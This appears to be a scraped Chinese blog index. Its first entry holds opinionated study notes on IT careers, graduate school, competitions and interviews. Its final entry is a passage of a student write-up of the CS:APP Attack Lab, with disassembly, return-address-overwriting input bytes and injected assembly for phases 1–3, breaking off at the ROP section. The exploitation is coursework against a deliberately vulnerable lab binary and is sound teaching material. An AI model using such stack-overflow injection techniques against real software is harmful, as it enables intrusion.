touch-。。。\n所有的物种都会灭绝和衰落，不存在绝对稳定的工作与技术 机组原理 数据结构等等都短时间内难再有突破\n谈一谈Python # 语言不能让你就业。\n不要想着一门语言就能找到工作。\n什么样的人去学：非计算机专业，会计\u0026hellip;\u0026hellip;\n人工智能是一个学科，其中的诸多框架是由C++实现的，python也只是写了一些脚本。CS学的东西相当多，语言只是一个工具，语言不是学科。大数据中最多的是java，人智最多是C++，数据分析JS，大脑是不限制语言的，语言也不能和职业扯上关系，主JAVA后端，主GOLANG后端，和职位有关，语言不能决定任何事情，不要纠结语言，不要纠结框架，库，算法底层，数据结构，架构，解决方案，软件构件，编程的艺术！！！（从低到高的一种程序员的排序）\n炒的很火，广告，培训机构，少儿编程。。。（钻石的价格为什么贵）\n解析性语言，2021年，python不好找工作对于开发人员来说，Python web，性能远远低于上述的语言，尤其不适合并发的项目，不是最优选择，容易出现性能问题，需要的岗位有但不多，认识清楚这样一点。\n如何跟进技术迭代 # 关注技术趋势的发展（元宇宙？）\n人工智能未来几年要解决的问题，前端（微前端）关注全球的会议\n国外的期刊之类，重要技术的迭代，培训，投资学习\n与行内业界认识专家合作，了解不同见解？云计算（尚早）\n利用开源社区 GitHub。。。使用的技术尽可能符合趋势发展\n（足够好的英文） 雅思6.0\n考试和实际应用的差异，研究考试。\n技术的目标：更快，更容易使用，更便宜。\n硬件的目标：更加小巧，便于使用。\n人工智能是否能够取代人类的工作 # 基本是完全是可能的，取代是趋势，包括程序员的工作。\n尽可能去追求艺术性的生活，在人工智能取代人类工作的时代，（人应该去享受幸福的生活与创作？） 目前人工智能处于停滞的状态，目前没有替代的能力，没有同理心判决的能力。\u0026mdash;李开复\n艺术的创作，基于个人主义（AI作画） 人类的发展基于人类的个性，人工智能不具备个人意识的能力（目前的情况）。\n人类社会的本质是为了文明的延续，不报乐观或者悲观的心态，基于客观的事实。（科学是将目光真切的看向每一个人）\n计算机系考研问题 # 人不可能攀登他不知道的高峰，还是明确的目的。很多人考研，保研是没有目的的行为，先考个研究生吧，不知道未来想干什么。\n大学生要有自我思考的能力，不能一味的跟风，寻找自己的目标，打开窗子看一看。多自己分析现实情况，问的人应当是自己理想的职位，请教正确的人，才可能获取正确的指导。（你应该干什么，你去干什么？？？老师学长学姐？？？）\n这个世界上没有学习能力的人都去当老师了。\n根据职业来决定，中国开设人智的大学就几个，该领域还是相当差。\n实事求是，不如别的国家。\n现在我们国家有了DeepSeek，但是我还是请大家仔细思考，这和你在大学对于道路的选择有什么关系？\n非群体判断标准 # 上了研就一定会走另一条道路吗?是否考研，成为什么样的人，都取决于自身的情况，而不应当考虑一个集体，我们都只是一个个体，我们不应当成为这样的集体中的一份子，不会因为选择什么，就会成为什么，我们应当基于个体的逻辑分析，我们有没有达到自己想要的岗位的学历的下限，从而去上研，应当学会抉择，而不是盲目的从大流。\n大学社团\n有没有参加的必要，参加了，应当以怎样的眼光看待？交流交往。谈个恋爱？？\n辩论社，音乐，美国化学学会。用处不是很大，主要取决于大学。毫无意义的学分增值，那便没有什么意义。太耗费时间，严重影响学业的话，显然。什么都做，最后可能啥也不是。。。具有很强的竞争气氛，缺乏包容心。。。\n根据自身的情况合理判断吧。\n当学校的培养方案与自己的目标冲突时\n不要漫无目的的卷，那就自己学，没有人歧视你是不是这个专业，没人管你，专业和职业是两个东西，没人在乎你以前是什么专业，只会管你有没有良好的工作能力。\n只有我们自己在乎自己过去不堪入目的往事，没人会记得。 有很多转职业专业者。\n外企 英语 面试题 刷题 # 要看具体的职位，外企待遇也不一定好，根据你想不想去。\n英语，具体情况具体分析，最低雅思6.0，作为最基础的英语水平，尽力去达到。\n忙冲算法？成为算法工程师，技术没有上限，天天刷题，不会进大厂(储蓄不能让人富裕)，最为愚蠢的行为，刷题只能证明你会刷题，不代表你会干活！\n(解释一下什么是操作系统？什么是多道任务？什么是资源管理？你是如何理解设备管理的？解释什么是进程，什么是线程，二者有何区别？进程和线程的实际应用？如何理解存储管理，内存管理，文件系统？解释什么是进程同步？什么是通信？如何理解信号量，消息队列，共享列成？什么叫调度策略？FCFS？STN？什么叫时间片轮转？PR？)？？？？？？？？？？？？？？？？？？？？显然，刷题无法解决这类问题？\n（进程是计算机当中程序的一次执行过程，拥有独立的内存空间，系统资源，线程是进程当中的一个执行单元，共享进程的系统空间和内存资源。应用：多任务处理，并发进程。）\n（内存管理:确保系统有足够的内存可运行程序，避免内存浪费。）\n（文件系统：存储数据的逻辑结构，负责文件的管理存储，负责文件的读写和修改。）\n(进程通信：进程之间传递信息的过程。同步。解决并发问题重要手段。)\n回答问题要有所准备，自己不理解的不要说。不要相信刷题就能进大厂，理解基础知识，有诸多开放性的话题，企业文化。\nAI专业与ACM # 根据自己的情况参加 ACM大赛组 校园招聘是一个加分项，但是并不重要，先要满足必要的要求。（找工作的角度）\n提升阅历的方式，是否愿意牺牲时间去参加这样的学习，自己的学习能力怎么样？鱼和熊掌不可兼得。。。时间有限，不可能什么事情的做好。重在参与是胡说八道，关键是自己要不要参与。空余的时间拿来干什么，自己能不能赢，如果没有赢的机会，那为什么要浪费时间参加。确定目标不要疏忽学业，保研？提升机会，选概率大的东西。区分清楚是锦上添花还是本末倒置。\n蓝桥杯：（报名费400元）有国家工信部撑腰，投了很多钱，背景很硬，参加的人越多的比赛越水，什么人都有。。。视自身情况而定，赚钱还是在搞教育。不要毕业了什么都不会，只会比赛，找实习没人看你拿了什么杯，我们中国人搞了这么多年比赛，获得了什么，只是许多证书，没有什么瞩目的成就，好的公司。搞教育的人都消失了，大家都去捞钱了，你获奖了，老师是分红利的，（一般的大学校，是分赃分利的地方），大部分大学老师，整天浑浑噩噩，等着捞国家红利，让学生们相信什么什么有用，优秀的老师不会整天让你干这干那，你应当干你自己喜欢的事情，追求自己的理想，人应当有认知真理，发现真相的能力，如果你真的喜欢ACM，那你就去干（前提是基础课学的不错哦），不要鸡汤喝得太多，鸡血打的太猛，\nChatGPT主题 # 人类总是害怕那些他们不能理解的事物。——辛德拉\n语言训练模型。小说科幻电影，都以艺术形式呈现，其目的是为了表达人的思想，并非事实。基于事实依据来分析，具体的逻辑。历史和神话的差距，科幻不等于事实。没有什么东西能够轻易的取代一个人，这种工具用于提升人的效率。人工智能只能让人更加有效率的完成任务，没有办法取代人的核心。咖啡师，采矿业等等普通的职业面临的危险，取代，取代的是人的行为，并非人本身。创作很大程度上还是要依赖人类，创作不是模仿，而是去创造新的东西，没有自我意识，训练模型的观点都来自于人类，并无创作的意识。\n计算机细分领域以及生态整合 # 软件开发，设计，编程，维护，测试，架构。 网络，建设维护，操作系统 数据库，设计开发维护三大类 人工智能，机器学习（探索阶段）-数据库-软件工程-语言训练模型（GPT） 嵌入式，嵌入系统，汽车，家电 网络安全，免受未经授权的访问 虚拟现实VR 信息安全 软件测试，售后 数据分析，大量数据提取有用的信息，支持决策，未来趋势-数据库 云计算虚拟化，允许将计算和存储资源从物理基础设施中抽象出来 学科交叉发展，很凌乱的，劳动分工，动态的社会，都在发挥各自的价值\n出国，自己去判断\n认知 决心 对自己的发展好不好？上述二者要达到平衡，金钱也只是其次的。。。\n程序员外包是什么以及为什么大多数人不推荐外包 # 软件开发交给外部的公司，接活干的公司，外包公司，这样的公司很累，员工很难受。节省成本，具有灵活性。-沟通协调的问题-打架，控制与质量问题，技术，进度，创意，不受控制。知识产权的丢失，有潜在的问题，也有合理之处。\n大学生要不要做兼职和搞外快\n家庭是否困难，根据条件来看，绝大部分人没有这样的需求，不要效仿别人赚钱，竞争力市场，根据需求，不能影响我们的主线任务的进展。\n职业的可转变性与避坑\n过了几年，岗位就没有了，失业了。\n小众的职位，假设一门技术X，也有可能是一门语言，存在一种可能，赌对了，有可能获得利润，有自己的前途，赌错了，即刻失业，Node.js近年来便引领了趋势。可能会带来致命的伤害，尽量去选通用的职位，大众的职位，有没有赌本？？？\n专用性程度 完全专用性 专用性程度：java golang 数据结构与算法 Linux 都有其专用性，其本身是具有多样性的。用于诸多的职位上。当有东西落寞的时候，你可以随时转型。\n完全：ios系统 VB（微软搞得）这样的技术要小心，只有一个针对点。\n！！微信小程序！！有可能生成了一种主流，但是要保持警惕。这样的赌注对你来说值不值得？\n一个要素的专用性越小，那么它从一种用途到另一种用途的可转变性就越大。JAVA并非针对某一种产品研发的语言。\n完全专用性在价值变动方面造成的影响要远远大于专用性程度造成的影响。\n学习记笔记的方法与心得 # IT要不要记笔记，怎么记笔记，有用，但看怎么记笔记。传统教育的问题，台上PPT，书本上学习的知识，笔记起到梳理的作用，笔记不是给自己看书法，争取起到有效的作用，尽量简洁，如果文字太多，尽量迅速筛选信息，纸质翻阅可能较为麻烦，自己看不懂，两个字，争取有效，可以尽量记到计算机上，打字比写字更快，不一定非要跟上时代的潮流，但是如果有效率更高的方法，那就去做。可以用Ipad，在PDF上标注，你要有需求用到它，而不是先去买这个东西。\n关于必修课，上课老师是不是按照这个教科书来的，搞清楚这一点，注意分配好自己的注意力。文综类的课程，关键点，经济学原理，这样的东西应当学会浓缩，听清楚这样一个点，听清楚要讲一个什么主题，什么观点，什么论点，关键证明手段。你记笔记的最好时间，厘清思路的最好时间，就是老师吹nb的时候。\nD define 关于这样的一个定义，是重点。这节课的点是什么，这节课讲述的结构是什么，建立起来逻辑，思维和记忆就会变得清晰，举了什么样的例子，也是十分重要的内容，我记笔记，是为了搞清楚结构和逻辑，而不是说，你一直抄我们书上有的内容与知识，这显然没有意义，我听了二三十分钟欧拉图，居然没有先建立欧拉图的具体概念，那你上课就是听天书。\n博客，博客是给别人看的，笔记是给自己看的，给自己梳理东西的，勾勾画画只有自己能看懂，不要浪费自己的时间，你看看之前的杰作，有许多人记笔记自己不好好看，那就没有任何的意义，你给别人看，就是要搞得谨慎一点，二者有着明显的区别。多多写对于自己的笔记和心得，自己应该在哪里更加注意，不要去记常识性的，一般性的东西，总之，我们说讲究一个，高效，实用，讲求逻辑。。。\n我们良好的一个状态，是说我们记的笔记越来越少，而学习的速度越来越快。\n引用自原博主动态：\n动态：新的开学季。 初高中：现在知道学历有下限了吧？ 大一：搞好生活，适应大学环境，搞懂大学的套路，不逃课、不早退、及时交作业就意味着平时分过了。学习、生活、社交、活动、比赛\u0026hellip;几头抓的，最后肯定很惨。大一刚开学搞明白大学生活，照顾好自己就足够了。 大二：一年过去了，大学生活和照顾自己都没问题了，已经摸清楚上课、活动、社交等各种逻辑，接下来就该考虑自己职业问题，是做什么？什么方向？什么领域？什么具体职位呢？尽可能无视各种社交活动，无视大学任何比赛，无视大学所有的战略培养计划，无视大学教师和学姐学长的建议，无视学习路线。把精力放在追逐具体职位的共性技术上，这一点我们在IT疑问点已经讲得十分清晰，愿能为你们节省数年时间，互联网信息繁杂，此方法可以避开各种坑。 大三：你应该已经处于追逐职业生涯的半路上了。专科的学生如果能升本科最好不过，本科的学生根据自己的职业需求来升级学历，最低下限学历是存在的，但不存在高学历的上限。如果扫厕所，可能需要初中学历，你已经满足，所以不要傻了吧唧的往前考，没有意义。除非是有意义的考，有些职位在行业里就要求博士，那你必须得考，除此之外白费功夫。 大四：实习，面试。面试才是最好的检验方法，除此之外，没有任何技术和方法能够检验你是否可以就业的水准。去吧，一定要去大城市，小城市是没有就业的：北上广深杭。五个都可以选。如果校招给力，建议走校招；如果你给力，直接去大厂官网应聘。 不论如何，对于技术的培养唯有持续不断地摸索与训练，而非单纯的计划与追踪。\n谈谈中国游戏开发 # 喜欢打游戏，没有经历过什么是游戏的开发。一个团队热爱开发游戏。R星 GTA5 荒野大镖客 RIOT games LOL 为创造游戏而生，体验开发游戏的艰辛，也体验开发游戏的成就。\n游戏的本质是软件，开发游戏不代表编程，C/S架构，不完全是，需要图形和渲染（游戏渲染引擎），\nUnity3D 美工 艺术视觉设计 数字媒体 在引擎中训练 编写成庞大的系统 服务器（后端）\n反作弊系统（安全开发工程师） 编剧 导演 设计师。。。牵扯了大量的职位\n独立开发者，光明记忆真的是一个人做的么？想要成功，一定要合作，认真去找。\n任何天才，都不能在孤独的环境中发展。\n打字训练 # 推荐网站：Typing club 网站 多加练习 Qwerty learner 多加练习，每天都练习，会有极恐怖的进步。。。\n谈谈数据结构使用代码实现 # 计算机中存储，组织数据的方式，用什么样的语言实现不重要，目前的教学方式就是用垃圾的代码去实现垃圾的数据结构，不理解数据结构的实现原理，而去看代码来理解。\n正确的数据结构可以提高算法的效率。Pop oop 都能实现，但方式明显不同，不要关注语言，语言来的快，去的也快，因为市场是多变的。了解底层。\n作业做不了，是因为语法不够熟练。（for嵌套，递归？这样的作业）\n计算机语言的共性，软件工程的一些术语 # 流程控制：循环，条件判断（控制结构），子函数（方法Java）\n我们所做的一些基本题，都是围绕着if for来进行的。重要的是一种感觉，用什么东西去处理，需要大量的练习，用什么语句，要几层的循环，要在纸上多写一写思路和结构，先想清楚，效率才会明显提升。。。。。。\n定时，效率 进行算法的练习\n结构化处理\n結構化的非區部控制流程\n有些程式語言會提供非區部的控制流程（non-local control flow），會允許流程跳出目前的程式碼，進入一段事先指定的程式碼。常用的結構化非區部控制流程可分為條件處理、异常处理及計算續體（Continuation）三種。\n异常处理：在编程语言领域，通常 例外（英語：）这一术语所描述的是一种資料结构，该資料结构可以存储异常（exceptional）相关訊息。例外处理的常见的一种机制是移交控制权。引发（raise）异常，也叫作抛出（throw）异常，通过该方式达到移交控制权的效果。例外抛出后，控制权会被移交至某处的接（catch），并执行处理。\n（比如C语言下标的越界）\n计算机续体：创建了一个全局的变量，未来在某个控制流中使用它，感觉是提前定义了一些东西。\n竞争 # 竞争的实质。做自己的第一名，产生特色，竞争的赢家只有第一名和第二名。你活在什么样的幸福里，父母给你摆平的路，给你营造的氛围，给你某某的规划，或者沉浸于学校好的骄傲感中，或者是什么实验班的就业计划\u0026hellip;\u0026hellip;\n务实与态度 # 年轻人要讲求务实，不能认为自己参加了一个什么比赛，获得过什么奖就能跨越一个阶层，你去面试外企，别人不会注意你比赛第几名，拿了什么奖，一点：你能不能帮公司解决这个问题，难道提升我们的教育水平，只能用比赛？？？这样的教育令人感到心寒。我们中国人喜欢比赛，宣传，形式主义，我们太在意表面现象，而不去追究深层次的问题，不追求深层次的东西，IT这个行业，我们是干不下去的，你想当什么样的人，你想干什么样的事，比狗p什么比赛更重要，不要认为只要你参加某某比赛，就能。。。我只要。。。就能。。。？？？此等幻想，同样应当干掉。能爬上去，一定是通过自己的努力，觉得学历不够，就去考。\n你选了一个自己不喜欢的专业，但是还能坚持学下去，并且当成乐趣，这就是tmd态度。你来学校是干嘛的？学习起来太费劲，高考好不容易完事儿了，为什么还要学习？觉得要学习的东西就像大海一样多，我怎么才能掌握这么多东西，我什么东西都要会，因此而迷茫。\n“做什么事情，不管是否是你想做的，既然你去做了，就把它做好，不管是不是你想象的样子，尝试去热爱它。”——态度\n你对真正想要做的事情有没有爱。\n“我心尽在此作。”\n面试 # No Job Is Perfect! 这里我认为还不重要，因为我们大多还是实习生（作为一个大学生的话），面试就是大量的实战并且积累经验，前提是你有足够扎实的底层知识。\n谈谈你的简历？\n目的：不是列举成就以及职责，想要一个重点突出的内容，这个职位为什么适合你？\n目的是阐述关联度，展示清晰的职业目标，你在哪里干了什么有特色的事情（20%缓存时间减少\u0026hellip;\u0026hellip;），是适合这个岗位的。\n明确过渡：离职的原因？（好好解释，没上班的时间怎么保持跟进技术的迭代）突出专业的声誉，要是有战略性的步骤。\n裁员：公司改变了策略。\n强调技能的不断提升，最好两三分钟结束。\n","date":"21 March 2025","externalUrl":null,"permalink":"/thinking/itsolving_problems/","section":"Thinking","summary":"\u003cblockquote\u003e\n\u003cp\u003e本期封面是《響け！ユーフォニアム》配角之一，中川夏纪，声音真的很好听，听说这个动漫到《利兹与青鸟》就完结了来着（？）\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003e关于IT行业的看法（IT另解笔记）\u003c/strong\u003e \n    \u003cdiv id=\"%E5%85%B3%E4%BA%8Eit%E8%A1%8C%E4%B8%9A%E7%9A%84%E7%9C%8B%E6%B3%95it%E5%8F%A6%E8%A7%A3%E7%AC%94%E8%AE%B0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E5%85%B3%E4%BA%8Eit%E8%A1%8C%E4%B8%9A%E7%9A%84%E7%9C%8B%E6%B3%95it%E5%8F%A6%E8%A7%A3%E7%AC%94%E8%AE%B0\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e1.学历在CS的行业不会成为任何优势（但是它重要），过硬的技术和能力才是，记清楚这一点，才不会盲目。请勿再将未来的希望寄托在你所在的学校身上了，你的一切，你的兴趣，都要自己费力去追寻\u0026hellip;\u0026hellip;\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2.Caution!本篇博文是强烈带有主观意见的意识流笔记，部分观点可能跟不上时代（2021年），并且不代表笔者的全部观点，但是希望能对于在校的尚对于目标不明确的学生带来一些帮助，视频来源（https://space.bilibili.com/19658621），顺带推荐一下他的C语言视频，如果你还没有学过，或者已经工作但是有进一步理解的需要，学习一下这个视频，会颠覆你对于POP编程的认知。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3.随着我个人的阅历和经验的增长，我会不断更新这个文章的内容，直到它能够替代我对于这个行业的全部看法而不是简单的视频笔记，我个人的看法就是纯主观的，一个人或者一个组织都不可能给出所谓的“纯粹理性客观”这样的观点，如果真的是这样，那么很多历史怎么会被改写？总之，希望能帮助到你一点的同时也能满足我的分享欲。\u003c/strong\u003e\u003c/p\u003e","title":"IT:Solving_Problems","type":"thinking"},{"content":" What has always made the state a hell on earth has been precisely that man has tried to make it his heaven.\n\u0026ndash;F.Hoelderlin\n","date":"21 March 2025","externalUrl":null,"permalink":"/thinking/","section":"Thinking","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eWhat has always made the state a hell on earth has been precisely that man has tried to make it his heaven.\u003c/strong\u003e\u003c/p\u003e","title":"Thinking","type":"thinking"},{"content":" 本期封面是动漫《Girls Band Cry》的主角团一行人参拜时的场景。\nCSAPP:AttackLab # [!WARNING]\n通过本实验，你将学习到利用安全性漏洞攻击操作系统和网络服务器的方法。本实验的目的是通过模拟攻击来增进对安全漏洞的理解和防范意识，了解安全漏洞的本质。本实验内容应仅用于学习目的，严禁用于任何非法或不道德的活动。 本实验开始前，需要学习CS:APP3e第3.10.3节和第3.10.4节的知识。 https://arthals.ink/blog/attack-lab 你还是可以参考这位的博客。 scp -p -r 2236115135-ics@x86.ics.xjtu-ants.net:./attacklab-2236115135-1235135 ~/ //scp下载远程服务器上的文件，如果要本地开发这是好的办法 前三层是CI（代码注入攻击）攻击，后两层是ROP（返回导向编程）攻击。\n代码注入攻击（Code Injection Attacks） # phase1: # 0000000000401a90 \u0026lt;test\u0026gt;: 401a90:\t48 83 ec 08 sub $0x8,%rsp ; 分配了八个字节的空间 401a94:\tb8 00 00 00 00 mov $0x0,%eax 401a99:\te8 31 fe ff ff call 4018cf \u0026lt;getbuf\u0026gt; ; 调用了getbuf函数 401a9e:\t89 c2 mov %eax,%edx 401aa0:\tbe e8 31 40 00 mov $0x4031e8,%esi 401aa5:\tbf 01 00 00 00 mov $0x1,%edi 401aaa:\tb8 00 00 00 00 mov $0x0,%eax 401aaf:\te8 3c f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401ab4:\t48 83 c4 08 add $0x8,%rsp 401ab8:\tc3 ret 00000000004018cf \u0026lt;getbuf\u0026gt;: 4018cf:\t48 83 ec 38 sub $0x38,%rsp ; 分配了56个字节的空间（在buf里） 4018d3:\t48 89 e7 mov %rsp,%rdi 4018d6:\te8 7e 02 00 00 call 401b59 \u0026lt;Gets\u0026gt; 4018db:\tb8 01 00 00 00 mov $0x1,%eax 4018e0:\t48 83 c4 38 add $0x38,%rsp 4018e4:\tc3 ret 00000000004018e5 \u0026lt;touch1\u0026gt;: 4018e5:\t48 83 ec 08 sub $0x8,%rsp 4018e9:\tc7 05 2d 2c 20 00 01 movl $0x1,0x202c2d(%rip) # 604520 \u0026lt;vlevel\u0026gt; 4018f0:\t00 00 00 4018f3:\tbf 22 31 40 00 mov $0x403122,%edi 4018f8:\te8 53 f4 ff ff call 400d50 \u0026lt;puts@plt\u0026gt; 4018fd:\tbf 01 00 00 00 mov $0x1,%edi 401902:\te8 92 03 00 00 call 401c99 \u0026lt;validate\u0026gt; 401907:\tbf 00 00 00 00 mov $0x0,%edi 40190c:\te8 bf f5 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 我要把return的地址覆盖成上面的touch1函数的首地址以执行touch1函数。\n那么直接构造如下的输入字符串即可，记得使用hex2raw工具。\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 18 40 00 phase2: # 这里的操作就是：1.同理覆盖地址。2.你要传一个参数来执行你的代码。\n我要把覆盖的地址变成touch2,同时要传参数。\n0000000000401911 \u0026lt;touch2\u0026gt;: 401911:\t48 83 ec 08 sub $0x8,%rsp 401915:\t89 fa mov %edi,%edx 401917:\tc7 05 ff 2b 20 00 02 movl $0x2,0x202bff(%rip) # 604520 \u0026lt;vlevel\u0026gt; 40191e:\t00 00 00 401921:\t39 3d 01 2c 20 00 cmp %edi,0x202c01(%rip) # 604528 \u0026lt;cookie\u0026gt; 401927:\t75 20 jne 401949 \u0026lt;touch2+0x38\u0026gt; 401929:\tbe 48 31 40 00 mov $0x403148,%esi 40192e:\tbf 01 00 00 00 mov $0x1,%edi 401933:\tb8 00 00 00 00 mov $0x0,%eax 401938:\te8 b3 f3 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 40193d:\tbf 02 00 00 00 mov $0x2,%edi 401942:\te8 52 03 00 00 call 401c99 \u0026lt;validate\u0026gt; 401947:\teb 1e jmp 401967 \u0026lt;touch2+0x56\u0026gt; 401949:\tbe 70 31 40 00 mov $0x403170,%esi 40194e:\tbf 01 00 00 00 mov $0x1,%edi 401953:\tb8 00 00 00 00 mov $0x0,%eax 401958:\te8 93 f3 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 40195d:\tbf 02 00 00 00 mov $0x2,%edi 401962:\te8 f4 03 00 00 call 401d5b \u0026lt;fail\u0026gt; 401967:\tbf 00 00 00 00 mov $0x0,%edi 40196c:\te8 5f f5 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 过程：覆盖调用函数的返回地址来执行我的代码（这相当于是在stack上执行我的代码，你想这要怎么做到？把ret要覆盖的地址设置成分配之后的rsp的值，那么rip便会从这里开始执行代码，我们再将代码放进缓冲区，好妙的攻击技巧），我的代码把%rdi设置成我的cookie值，并且通过ret指令返回到touch2函数执行。\n在getbuf分配完了栈空间之后，%rsp = 0x5563c8d8,这也就是缓冲区的起始地址。\n我们构造：\nmovq $0x14e6646f,%rdi ; 把第一个参数设置成cookie值 pushq $0x00401911 ; 这里push进去一个touch2的首地址值 ret ; ret实际上就是把刚刚push进去的值拿出来然后跳转执行 // gcc -c asm.s // objdump -d asm.o \u0026gt; asm.byte 我们拿到这段汇编指令的字节码 phase3: # 还是传参，但是会更麻烦，要调用更多的函数来解决这个问题,我要把我的cookie值作为一个string传给touch3。\n0000000000401971 \u0026lt;hexmatch\u0026gt;: 401971:\t41 54 push %r12 401973:\t55 push %rbp 401974:\t53 push %rbx 401975:\t48 83 c4 80 add $0xffffffffffffff80,%rsp 401979:\t89 fd mov %edi,%ebp 40197b:\t48 89 f3 mov %rsi,%rbx 40197e:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401985:\t00 00 401987:\t48 89 44 24 78 mov %rax,0x78(%rsp) 40198c:\t31 c0 xor %eax,%eax 40198e:\te8 bd f4 ff ff call 400e50 \u0026lt;random@plt\u0026gt; 401993:\t48 89 c1 mov %rax,%rcx 401996:\t48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 40199d:\t0a d7 a3 4019a0:\t48 f7 ea imul %rdx 4019a3:\t48 01 ca add %rcx,%rdx 4019a6:\t48 c1 fa 06 sar $0x6,%rdx 4019aa:\t48 89 c8 mov %rcx,%rax 4019ad:\t48 c1 f8 3f sar $0x3f,%rax 4019b1:\t48 29 c2 sub %rax,%rdx 4019b4:\t48 8d 04 92 lea (%rdx,%rdx,4),%rax 4019b8:\t48 8d 14 80 lea (%rax,%rax,4),%rdx 4019bc:\t48 8d 04 95 00 00 00 lea 0x0(,%rdx,4),%rax 4019c3:\t00 4019c4:\t48 29 c1 sub %rax,%rcx 4019c7:\t4c 8d 24 0c lea (%rsp,%rcx,1),%r12 4019cb:\t41 89 e8 mov %ebp,%r8d 4019ce:\tb9 3f 31 40 00 mov $0x40313f,%ecx 4019d3:\t48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4019da:\tbe 01 00 00 00 mov $0x1,%esi 4019df:\t4c 89 e7 mov %r12,%rdi 4019e2:\tb8 00 00 00 00 mov $0x0,%eax 4019e7:\te8 44 f4 ff ff call 400e30 \u0026lt;__sprintf_chk@plt\u0026gt; 4019ec:\tba 09 00 00 00 mov $0x9,%edx 4019f1:\t4c 89 e6 mov %r12,%rsi 4019f4:\t48 89 df mov %rbx,%rdi 4019f7:\te8 34 f3 ff ff call 400d30 \u0026lt;strncmp@plt\u0026gt; 4019fc:\t85 c0 test %eax,%eax 4019fe:\t0f 94 c0 sete %al 401a01:\t48 8b 5c 24 78 mov 0x78(%rsp),%rbx 401a06:\t64 48 33 1c 25 28 00 xor %fs:0x28,%rbx 401a0d:\t00 00 401a0f:\t74 05 je 401a16 \u0026lt;hexmatch+0xa5\u0026gt; 401a11:\te8 5a f3 ff ff call 400d70 \u0026lt;__stack_chk_fail@plt\u0026gt; 401a16:\t0f b6 c0 movzbl %al,%eax 401a19:\t48 83 ec 80 sub $0xffffffffffffff80,%rsp 401a1d:\t5b pop %rbx 401a1e:\t5d pop %rbp 401a1f:\t41 5c pop %r12 401a21:\tc3 ret 0000000000401a22 \u0026lt;touch3\u0026gt;: 401a22:\t53 push %rbx 401a23:\t48 89 fb mov %rdi,%rbx 401a26:\tc7 05 f0 2a 20 00 03 movl $0x3,0x202af0(%rip) # 604520 \u0026lt;vlevel\u0026gt; 401a2d:\t00 00 00 401a30:\t48 89 fe mov %rdi,%rsi 401a33:\t8b 3d ef 2a 20 00 mov 0x202aef(%rip),%edi # 604528 \u0026lt;cookie\u0026gt; 401a39:\te8 33 ff ff ff call 401971 \u0026lt;hexmatch\u0026gt; 401a3e:\t85 c0 test %eax,%eax 401a40:\t74 23 je 401a65 \u0026lt;touch3+0x43\u0026gt; 401a42:\t48 89 da mov %rbx,%rdx 401a45:\tbe 98 31 40 00 mov $0x403198,%esi 401a4a:\tbf 01 00 00 00 mov $0x1,%edi 401a4f:\tb8 00 00 00 00 mov $0x0,%eax 401a54:\te8 97 f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401a59:\tbf 03 00 00 00 mov $0x3,%edi 401a5e:\te8 36 02 00 00 call 401c99 \u0026lt;validate\u0026gt; 401a63:\teb 21 jmp 401a86 \u0026lt;touch3+0x64\u0026gt; 401a65:\t48 89 da mov %rbx,%rdx 401a68:\tbe c0 31 40 00 mov $0x4031c0,%esi 401a6d:\tbf 01 00 00 00 mov $0x1,%edi 401a72:\tb8 00 00 00 00 mov $0x0,%eax 401a77:\te8 74 f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401a7c:\tbf 03 00 00 00 mov $0x3,%edi 401a81:\te8 d5 02 00 00 call 401d5b \u0026lt;fail\u0026gt; 401a86:\tbf 00 00 00 00 mov $0x0,%edi 401a8b:\te8 40 f4 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 这是上面两个函数的C语言源代码：\n/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100;\t//这里随机分配可能导致的结果是把我们注入的字符串覆盖掉 sprintf(s, \u0026#34;%.8x\u0026#34;, val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf(\u0026#34;Touch3!: You called touch3(\\\u0026#34;%s\\\u0026#34;)\\n\u0026#34;, sval); validate(3); } else { printf(\u0026#34;Misfire: You called touch3(\\\u0026#34;%s\\\u0026#34;)\\n\u0026#34;, sval); fail(3); } exit(0); } gdb调试（先跟第二层一样跳转到touch3）：\n先查看进入hexmatch之前的缓冲区，我们注入的代码还在（未使用的部分用3f填充）\n在进入了之后（我们发现有一部分已经被覆盖，但是没有威胁到我们的代码，所以这只是概率事件）：\n看起来28这里一直都是0,我们尝试把字符数组放在这里：\nman ascii //查看关于ascii的帮助 cookie\u0026mdash;\u0026gt;ascii\n0x14e6646f\u0026mdash;\u0026gt;31 34 65 36 36 34 36 66\n担心出错，再检查一遍：\n在更改的时候还要注意：不仅留心小端顺序，还要保证原来调用的函数的参数的值没有发生变化。\nQ：不知道为什么，28的位置写不进去，后面改成18的位置再重新写进去（记得更改rdi指向的地址，假如你错了的话）。\n返回导向编程（Return-oriented Programming） # phase4: # 